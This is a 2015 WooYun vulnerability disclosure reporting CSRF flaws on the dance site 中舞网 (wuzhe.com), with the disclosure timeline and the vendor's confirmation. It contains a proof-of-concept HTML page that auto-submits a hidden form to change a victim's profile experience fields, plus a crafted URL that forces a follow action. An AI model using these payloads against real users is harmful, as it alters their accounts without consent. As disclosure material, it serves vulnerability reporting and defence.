当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0126096

漏洞标题：中舞网多处CSRF全部打包

相关厂商：中舞网

漏洞作者： 苏安泽

提交时间：2015-07-13 09:59

修复时间：2015-08-31 10:02

公开时间：2015-08-31 10:02

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-13： 细节已通知厂商并且等待厂商处理中
2015-07-17： 厂商已经确认，细节仅向厂商公开
2015-07-27： 细节向核心白帽子及相关领域专家公开
2015-08-06： 细节向普通白帽子公开
2015-08-16： 细节向实习白帽子公开
2015-08-31： 细节向公众公开

简要描述：

中舞网多处CSRF全部打包

详细说明：

漏洞证明：

<html>
<head>
<title>poc2.html</title>
 </head>
 <body>
 <form action="http://my.wuzhe.com/wuzhe/experience" method="post">
 <input type="hidden" name="startdate" value="2015-06-06">
 <input type="hidden" name="enddate" value="2015-07-07">
 <input type="hidden" name="companyname" value="%E5%B9%BF%E4%B8%9C%E5%86%B0%E7%82%B9">
 <input type="hidden" name="teacherinfo" value="%E6%8A%80%E6%9C%AF%E6%80%BB%E7%9B%91">
 <input type="hidden" name="formsubmit" value="58">
 <input type="hidden" name="pushid" value="">
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>


0.jpg


这些里面那些都是可以的。全部都没有加上token之类验证。
关注处CSRF：

http://u226056.wuzhe.com/cross.php?url=http%3A%2F%2Fmy.wuzhe.com%2Fstar%2Ffollow%2Fdatasid%2F226056&wscajax=1


2.png

修复方案：

加上token之类验证

版权声明：转载请注明来源 苏安泽@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2015-07-17 10:01

厂商回复：

即将发布新版处理。

最新状态：

暂无